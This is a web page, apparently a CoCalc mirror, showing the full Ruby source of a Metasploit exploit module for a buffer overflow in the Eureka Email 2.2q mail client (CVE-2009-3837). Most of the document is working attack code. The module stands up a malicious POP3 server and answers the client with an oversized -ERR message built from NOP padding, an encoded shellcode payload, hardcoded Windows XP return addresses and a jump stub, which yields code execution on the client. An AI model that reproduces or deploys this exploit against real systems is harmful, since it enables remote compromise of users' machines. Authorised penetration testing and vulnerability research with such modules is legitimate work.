CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/eureka_mail_err.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow',
14
# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1
15
# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address
16
'Description' => %q{
17
This module exploits a buffer overflow in the Eureka Email 2.2q
18
client that is triggered through an excessively long ERR message.
19
20
NOTE: this exploit isn't very reliable. Unfortunately reaching the
21
vulnerable code can only be done when manually checking mail (Ctrl-M).
22
Checking at startup will not reach the code targeted here.
23
},
24
'Author' =>
25
[
26
'Francis Provencher (Protek Research Labs)',
27
'Dr_IDE',
28
'dookie',
29
'jduck'
30
],
31
'License' => MSF_LICENSE,
32
'References' =>
33
[
34
[ 'CVE', '2009-3837' ],
35
[ 'OSVDB', '59262' ],
36
[ 'EDB', '10235' ],
37
],
38
'DefaultOptions' =>
39
{
40
'EXITFUNC' => 'process',
41
},
42
'Payload' =>
43
{
44
'Space' => 700,
45
'BadChars' => "\x00\x0a\x0d\x20",
46
'StackAdjustment' => -3500,
47
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
48
'DisableNops' => true,
49
},
50
'Platform' => 'win',
51
'Targets' =>
52
[
53
[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll
54
[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll
55
],
56
'Privileged' => false,
57
'DefaultTarget' => 0,
58
'DisclosureDate' => '2009-10-22'
59
))
60
61
register_options(
62
[
63
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
64
])
65
end
66
67
def on_client_connect(client)
68
return unless regenerate_payload(client)
69
70
# the offset to eip depends on the local ip address string length...
71
already = "Your POP3 server had a problem.\n"
72
already << datastore['LHOST']
73
already << " said:\n\n -ERR "
74
space = (512+256+4) - already.length
75
76
buffer = "-ERR "
77
buffer << make_nops(space - payload.encoded.length)
78
buffer << payload.encoded
79
buffer << [target.ret].pack('V')
80
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string
81
buffer << "\r\n"
82
83
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
84
client.put(buffer)
85
86
handler
87
service.close_client(client)
88
end
89
end
90
91